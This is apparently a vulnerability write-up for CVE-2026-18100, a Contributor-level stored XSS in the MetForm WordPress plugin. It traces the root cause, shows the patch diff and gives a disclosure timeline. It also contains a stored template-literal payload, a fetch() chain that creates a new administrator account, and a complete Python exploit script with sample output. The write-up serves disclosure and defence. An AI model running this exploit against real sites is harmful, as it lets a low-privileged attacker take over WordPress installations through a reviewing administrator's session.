CVE-2026-18100: MetForm Stored XSS via the mf_form_id Widget Setting
TL;DR
- I found a Contributor+ stored cross-site scripting vulnerability in MetForm, an Elementor form builder with over 600,000 active installs.
- The MetForm widget has a
mf_form_idsetting that is supposed to identify a form. When the value is not numeric, the plugin treats it as the form's content instead. - That content is echoed into a
<script type="text/mf">block which MetForm compiles in the browser withnew Function(), so a${...}expression runs as JavaScript. - Because the payload contains no HTML tags, it survives the
wp_kses_post()filter Elementor applies when a Contributor saves a page. - The issue affects MetForm
<= 4.1.8, was assigned CVE-2026-18100, and was patched in 4.1.9.
Summary
MetForm was vulnerable to authenticated Contributor+ stored cross-site scripting because a non-numeric
mf_form_idwidget setting was echoed straight into the JavaScript template that MetForm compiles in the visitor's browser.
- CVE: CVE-2026-18100
- Product: MetForm
- Active Installs: 600,000+
- Vulnerability: Authenticated Stored Cross-Site Scripting
- Affected Versions: <= 4.1.8
- Fixed In: 4.1.9
- CVSS Severity: 6.4 (medium)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Required Privilege: Contributor+
- NVD Published: August 25, 2026
Introduction
[A]I was diffing MetForm releases when I noticed the plugin still ships its forms as a mf-template script element that the MetForm frontend compiles as JavaScript. MetForm 4.0.2 had already patched a Contributor+ stored XSS through that element, CVE-2025-5684, so I wanted to know what still writes into it.
The form picker was the obvious place to look. mf_form_id is a dropdown of existing forms in the Elementor editor, and a dropdown usually means nobody validates the value on the server. Reading render(), anything that is not valid form-picker JSON drops into a fallback branch, and that branch does not check what it is holding.
Root Cause Analysis
The Widget Setting Fallback
MetForm's widget renderer starts by trying to read mf_form_id as form-picker JSON, in widgets/form.php.
// widgets/form.php
protected function render( $instance = [] ) {
$settings = $this->get_settings_for_display();
// ... unrelated display settings omitted.
$form_data = json_decode($settings['mf_form_id'], true); // [1] Tries to read the setting as form-picker JSON.
if(is_array($form_data) && isset($form_data['id'])){
// ... the JSON branch resolves a real metform-form post and is not reachable here.
}else{
$form_id = explode('***', $settings['mf_form_id']); // [2] Otherwise the raw setting value is split.
$form_id = $form_id[0]; // [3] The first part is used as-is.
}
// ... response wrapper omitted.
\MetForm\Utils\Util::metform_content_renderer(\MetForm\Controls\Form_Picker_Utils::parse($form_id , $this->get_id())); // [4] Handed to the renderer.
json_decode() at [1] returns null for anything that is not a JSON object, so any plain string drops into the else branch. There, [2] and [3] pull the value apart on *** and keep the first segment, with no check that the result is a number or that a matching form exists. Whatever the attacker stored goes to Form_Picker_Utils::parse() at [4].
Straight Into the Form Renderer
parse() lives in controls/form-picker-utils.php and does one more split before deciding what to render.
// controls/form-picker-utils.php
public static function parse($key, $widget_key){
$extract_key = explode('***', $key); // [5] Splits again on the same separator.
$extract_key = $extract_key[0];
// ... editor-only markup omitted.
<?php
if ($extract_key == ''){ // [6] Only an empty value is rejected.
echo esc_html__('No content is added yet.', 'metform');
} else {
\MetForm\Utils\Util::metform_content_renderer(\MetForm\Utils\Util::render_form_content($extract_key, $widget_key)); // [7] Everything else becomes form content.
}
?>
The split at [5] is harmless. The check at [6] is the only one on the path, and it rejects a single value, the empty string. Every other string, numeric or not, is passed to render_form_content() at [7] as though it were a form.
A Template That Is Meant To Run JavaScript
render_form_content() in utils/util.php builds the form as a client-side template rather than finished HTML. It opens a script element that the browser will not execute directly, because the type is not a JavaScript MIME type.
// utils/util.php
<script type="text/mf" class="mf-template">
MetForm's frontend bundle in public/assets/js/app.js picks that element up and turns its content into a function.
// public/assets/js/app.js
var o=t.templateEl.innerHTML,i=r.replaceWith([["‘","'"],["’","'"],["“",'"'],["”",'"'],["–","--"]],o);return r.jsx=new Function("parent","props","state","validation","register","setValue","html",i),
The element's innerHTML becomes the body of a new Function(), and that body ends in a tagged template literal. Anything written into the template is JavaScript source.
MetForm knew that. Before building the output, it rewrites script tags into template expressions.
// utils/util.php
$replaceStrings = array(
'from' => array(
// ... React attribute-name mappings omitted.
'<script>', // Script Start Tag
'</script>', // Script End Tag
// ... line-break mappings omitted.
),
'to' => array(
// ... React attribute-name mappings omitted.
'${(function(){', // Script Start Tag
'})()}', // Script End Tag
// ... line-break mappings omitted.
),
);
A <script> block inside a form was deliberately converted into an immediately-invoked function inside the template literal. Running JavaScript from form content was a feature.
Here is where the attacker's value lands.
// utils/util.php
<div className="metform-form-main-wrapper" key=${'hide-form-after-submit'} ref=${parent.formRef}>
${html`
<?php
// ... $replaceStrings definition omitted.
$form_content = is_numeric( $form ) ? \MetForm\Utils\Util::render_elementor_content( $form ) : $form; // [8] Non-numeric values are used as the content itself.
$form_content = \MetForm\Utils\Util::mfConvertStyleToReactObj($form_content);
$form_content = str_replace( $replaceStrings['from'], $replaceStrings['to'], $form_content ); // [9] The script-tag rewrite runs here.
$form_content = preg_replace( '/<!--(.|\s)*?-->/', '', $form_content ); // Removes HTML Comments
echo $form_content; //phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- ignore this because of if escape this content does not append in preview and frontend.
?>
`}
</div>
A numeric $form at [8] resolves through Elementor's own render pipeline. Anything else is used directly as the form's content, so a widget setting becomes the template body. The rewrite at [9] only matters for literal script tags. The phpcs:ignore on the echo records why nothing is escaped, which is that escaping the content would break the editor preview.
That echo runs inside the nested html template literal, so a stored value beginning with ${ is evaluated the moment MetForm compiles the template.
Why Elementor's Sanitisation Does Not Catch It
Contributors can build and save their own posts with Elementor, and Elementor sanitises what they save. In core/base/document.php, Document::save() filters the entire payload for anyone without unfiltered_html, using the wp_kses_post() wrapper from Elementor's Utils class.
// core/base/document.php
if ( ! current_user_can( 'unfiltered_html' ) ) {
$data = Utils::kses_post_deep( $data );
}
// includes/utils.php
public static function kses_post_deep( $data ) {
return map_deep( $data, function ( $value ) {
return is_string( $value ) ? wp_kses_post( $value ) : $value;
} );
}
That reaches every widget setting, mf_form_id included, and it does its job. Saving <script>alert(document.domain)</script> as the setting stores alert(document.domain), with the tags gone, and the page renders it as inert text.
wp_kses_post() filters HTML though, and a template expression is not HTML. ${(function(){alert(document.domain)})()} contains no tags and no attributes, so it comes back out of the filter byte for byte. The payload never needs MetForm's script-tag rewrite, because it already arrives in the shape the template compiler expects.
Impact
JavaScript stored by a Contributor runs in the browser of anyone who opens the affected post. Contributor posts sit in pending status until somebody with publishing rights reviews them, so the expected reader is an editor or an administrator.
In an administrator session, the payload can drive any nonce-protected /wp-admin/ action, including user creation. That gives a route from Contributor to a new administrator account, but only once a privileged user opens the post.
Exploitation
Preconditions
- MetForm
<= 4.1.8and Elementor are active. - The attacker has Contributor credentials.
- The attacker can create a post with Elementor, which is the default for Contributors on an Elementor site.
- A privileged user opens the pending post.
Manual Request
Storing the payload takes one authenticated save_builder call to Elementor's normal AJAX endpoint. The actions value is URL-encoded on the wire and is shown decoded here.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Cookie: wordpress_logged_in_<hash>=<contributor session>
Content-Type: application/x-www-form-urlencoded
action=elementor_ajax&_nonce=<elementor_nonce>&editor_post_id=42&actions={"save_builder":{"action":"save_builder","data":{"editor_post_id":42,"status":"pending","elements":[{"id":"a1b2c3d","elType":"section","settings":{},"elements":[{"id":"b1c2d3e","elType":"column","settings":{"_column_size":100},"elements":[{"id":"c1d2e3f","elType":"widget","widgetType":"metform","settings":{"mf_form_id":"${(function(){alert(document.domain)})()}"},"elements":[]}]}]}]}}}
The nonce comes from elementorCommonConfig on any Elementor editor page the Contributor can open, and the post stays in pending status afterwards.
Demo
The Contributor's posts show up in the review queue like any other submission.

Opening one as an administrator compiles the template and runs the expression.

The rendered page shows where the value ended up, inside the nested template literal rather than an escaped attribute or a text node.
<div className="metform-form-main-wrapper" key=${'hide-form-after-submit'} ref=${parent.formRef}>
${html`
${(function(){alert(document.domain)})()} `}
</div>
Maximising Impact
Swapping the alert for a short fetch() chain turns that review into an account creation.
- Fetch
/wp-admin/user-new.phpin the administrator's session. - Read
_wpnonce_create-userout of the response. - Post the create-user form back with
role=administrator.

The Contributor now has administrator credentials, and the only thing the site's staff did was review a submitted draft.
PoC
Below is a cleaned-up version of the PoC accompanying this writeup. It logs in as the Contributor, creates an Elementor post, stores the payload through save_builder, and prints the URLs a reviewer would visit.
#!/usr/bin/env python3
"""CVE-2026-18100: MetForm <= 4.1.8 Contributor+ stored XSS via mf_form_id."""
import argparse
import html
import json
import re
import sys
from urllib.parse import urljoin
import requests
def login(session, base_url, username, password):
login_url = urljoin(base_url + "/", "wp-login.php")
session.get(login_url, timeout=15)
session.post(
login_url,
data={
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": urljoin(base_url + "/", "wp-admin/"),
"testcookie": "1",
},
timeout=15,
)
if "wordpress_logged_in" not in "".join(c.name for c in session.cookies):
sys.exit("[-] Login failed")
def create_elementor_post(session, base_url):
dashboard = session.get(urljoin(base_url + "/", "wp-admin/"), timeout=20)
link = re.search(
r"edit\.php\?action=elementor_new_post&post_type=post&_wpnonce=[a-f0-9]+",
dashboard.text,
)
if not link:
sys.exit("[-] This user cannot create Elementor posts")
response = session.get(
urljoin(base_url + "/wp-admin/", html.unescape(link.group(0))), timeout=30
)
post_id = re.search(r"post=(\d+)&action=elementor", response.url) or re.search(
r'initial_document":\{"id":(\d+)', response.text
)
if not post_id:
sys.exit("[-] Elementor did not create an editable post")
return post_id.group(1)
def elementor_nonce(session, base_url, post_id):
editor = session.get(
urljoin(base_url + "/", f"wp-admin/post.php?post={post_id}&action=elementor"),
timeout=20,
)
nonce = re.search(
r'"ajax":\{"url":"[^"]*admin-ajax\.php","nonce":"([^"]+)"', editor.text
)
if not nonce:
sys.exit("[-] Could not read the Elementor AJAX nonce")
return nonce.group(1)
def admin_creation_payload(user, email, password):
return (
"${fetch('/wp-admin/user-new.php').then(function(r){return r.text()})"
".then(function(t){"
"var m=t.match(/name=\\\"_wpnonce_create-user\\\" value=\\\"([^\\\"]+)\\\"/);"
"var d=new URLSearchParams({"
"action:'createuser',"
"'_wpnonce_create-user':m[1],"
f"user_login:'{user}',"
f"email:'{email}',"
f"pass1:'{password}',"
f"pass2:'{password}',"
"role:'administrator',"
"createuser:'Add User'"
"});"
"return fetch('/wp-admin/user-new.php',{method:'POST',body:d})"
"})}"
)
def save_metform_widget(session, base_url, post_id, nonce, payload):
widget = {
"id": "c1d2e3f",
"elType": "widget",
"widgetType": "metform",
"settings": {"mf_form_id": payload},
"elements": [],
}
column = {
"id": "b1c2d3e",
"elType": "column",
"settings": {"_column_size": 100},
"elements": [widget],
}
section = {
"id": "a1b2c3d",
"elType": "section",
"settings": {},
"elements": [column],
}
actions = {
"save_builder": {
"action": "save_builder",
"data": {
"editor_post_id": int(post_id),
"status": "pending",
"elements": [section],
"settings": {
"post_title": "MetForm XSS PoC",
"post_status": "pending",
"template": "default",
},
},
}
}
response = session.post(
urljoin(base_url + "/", "wp-admin/admin-ajax.php"),
data={
"action": "elementor_ajax",
"_nonce": nonce,
"editor_post_id": str(post_id),
"actions": json.dumps(actions, separators=(",", ":")),
},
timeout=20,
)
result = response.json().get("data", {}).get("responses", {}).get("save_builder", {})
if not result.get("success"):
sys.exit(f"[-] save_builder failed: {response.text[:300]}")
return result.get("data", {}).get("status")
def main():
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--url", required=True, help="WordPress base URL")
parser.add_argument("--username", required=True, help="Contributor username")
parser.add_argument("--password", required=True, help="Contributor password")
parser.add_argument("--new-admin-user", default="mf_xss_admin")
parser.add_argument("--new-admin-email", default="mf_xss_admin@test.local")
parser.add_argument("--new-admin-pass", default="Qq12345!test")
args = parser.parse_args()
base_url = args.url.rstrip("/")
session = requests.Session()
login(session, base_url, args.username, args.password)
post_id = create_elementor_post(session, base_url)
nonce = elementor_nonce(session, base_url, post_id)
payload = admin_creation_payload(
args.new_admin_user, args.new_admin_email, args.new_admin_pass
)
status = save_metform_widget(session, base_url, post_id, nonce, payload)
print(f"[+] Stored the payload in Contributor post {post_id} (status: {status})")
print(f"[*] Administrator review URL: {base_url}/wp-admin/post.php?post={post_id}&action=edit")
print(f"[*] The payload runs when an administrator opens {base_url}/?p={post_id}")
print(f"[*] It then creates the administrator account '{args.new_admin_user}'")
if __name__ == "__main__":
main()
Run it with Contributor credentials:
python3 cve-2026-18100.py \
--url http://target.example \
--username contributor \
--password 'contributor-password' \
--new-admin-user mf_poc_admin \
--new-admin-email mf_poc_admin@test.local
[+] Stored the payload in Contributor post 33 (status: pending)
[*] Administrator review URL: http://target.example/wp-admin/post.php?post=33&action=edit
[*] The payload runs when an administrator opens http://target.example/?p=33
[*] It then creates the administrator account 'mf_poc_admin'
Patch Diffing
The 4.1.9 changelog describes the fix as:
Fixed: Authenticated stored cross-site scripting vulnerability in the mf_form_id widget setting.
MetForm patched it in two files. In widgets/form.php, the fallback branch now requires the value to be numeric and to belong to a real metform-form post, and blanks it otherwise so parse() falls through to its "No content is added yet." message. The diff below is dedented for readability.
$form_id = explode('***', $settings['mf_form_id']);
$form_id = $form_id[0];
+
+// ... explanatory security comment omitted.
+if ( ! is_numeric( $form_id ) || 'metform-form' !== get_post_type( absint( $form_id ) ) ) {
+ $form_id = '';
+} else {
+ $form_id = absint( $form_id );
+}
In utils/util.php, the sink itself changed. render_form_content() gained a third parameter, and a non-numeric value is now only echoed when the caller explicitly says the content is trusted.
-public static function render_form_content($form, $widget_id){
+public static function render_form_content($form, $widget_id, $is_trusted_source = false){
-$form_content = is_numeric( $form ) ? \MetForm\Utils\Util::render_elementor_content( $form ) : $form;
+$form_content = is_numeric( $form )
+ ? \MetForm\Utils\Util::render_elementor_content( $form )
+ : ( $is_trusted_source ? $form : '<div class="mf-widget-container">' . esc_html__( 'No content is added yet.', 'metform' ) . '</div>' );
Only one caller sets that flag, the the_content hook that renders a metform-form post's own content, which takes Editor-level capabilities to write. Every other caller, the Elementor widget included, now gets the placeholder.
They also deleted the script-tag rewrite entirely, which closes the general ability to turn markup into a template expression.
'colspan',
-'<script>', // Script Start Tag
-'</script>', // Script End Tag
'<br>',
'colSpan',
-'${(function(){', // Script Start Tag
-'})()}', // Script End Tag
'<br/>',
Re-running the same stored payload against 4.1.9 leaves no mf-template element on the page at all.
<div class="formpicker_warper formpicker_warper_editable" data-metform-formpicker-key="">
<div class="mf-widget-container">No content is added yet.</div>
</div>
Remediation
Update MetForm to 4.1.9 or later. If an update is not possible straight away, treat Contributor and Author accounts as untrusted and avoid previewing their submissions until the plugin is patched, since the payload only runs when someone opens the post.
Disclosure Timeline
- May 25, 2026: Submitted to the Wordfence bug bounty program.
- July 27, 2026: Triage started.
- July 28, 2026: Report validated and CVE-2026-18100 assigned.
- July 31, 2026: Bounty awarded ($72).
- August 9, 2026: MetForm 4.1.9 released, rejecting non-numeric
mf_form_idvalues and removing the script-tag rewrite. - August 24, 2026: Published by Wordfence as CVE-2026-18100.
- August 25, 2026: Indexed by NVD.
Conclusion
The form picker looked like a closed set of choices, so nothing downstream ever checked what came back from it. That is a normal shape for a page builder bug, and it is worth checking any Elementor widget setting that is only constrained by the editor UI.
MetForm had deliberately built a path for form content to execute script, so the payload never had to break out of a context. It arrived already inside one, which is what separates this from a typical unescaped setting.